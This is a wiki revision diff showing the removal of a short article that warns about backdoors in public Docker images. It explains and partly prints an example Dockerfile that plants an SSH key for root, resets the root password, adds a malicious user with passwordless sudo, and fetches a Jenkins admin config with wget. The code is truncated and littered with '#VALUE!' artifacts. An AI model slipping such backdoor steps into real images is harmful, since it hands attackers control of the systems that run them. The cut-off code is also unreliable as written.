docker:common_security_issues_inside_public_docker_images
Differences
This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
docker:common_security_issues_inside_public_docker_images [2016/10/17 13:21] – created peter | docker:common_security_issues_inside_public_docker_images [2020/05/13 08:35] (current) – removed peter | ||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== Docker - Common Security Issues Inside Public Docker Images ====== | ||
- | Here is a simple example. | ||
- | |||
- | In L18-19, a ssh key is injected to to authorized_keys. If you start sshd, you’re in danger. | ||
- | In L22, root password has been reset. Not good, isn’t it? | ||
- | In L25-26, a malicious OS user has been added. | ||
- | In L29-31, the user has been promoted as super admin, and he/she can run any commands without password! | ||
- | In L34-36, your jenkins has an unpleasant admin user now. Yes, Jenkins is hot and popular. You can do a lot of things with Jenkins. So do the hackers! This case represents security of application layer. It’s certainly the most dangerous and difficult case. | ||
- | |||
- | <code bash> | ||
- | ########## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ################################################## | ||
- | #VALUE! | ||
- | FROM ubuntu: | ||
- | | ||
- | #VALUE! | ||
- | RUN mkdir -p /root/.ssh && \ | ||
- | # SSH login by key file | ||
- | echo " | ||
- | >> / | ||
- | #VALUE! | ||
- | # Reset root password | ||
- | echo ' | ||
- | #VALUE! | ||
- | # Add a malicious user | ||
- | | ||
- | echo ' | ||
- | #VALUE! | ||
- | # Add user to super admin | ||
- | echo ' | ||
- | / | ||
- | chmod 400 / | ||
- | #VALUE! | ||
- | # Add superadmin user to | ||
- | mkdir -p / | ||
- | wget -O / | ||
- | | ||
- | #VALUE! | ||
- | CMD ["/ | ||
- | </ |
docker/common_security_issues_inside_public_docker_images.1476710460.txt.gz · Last modified: 2020/07/15 09:30 (external edit)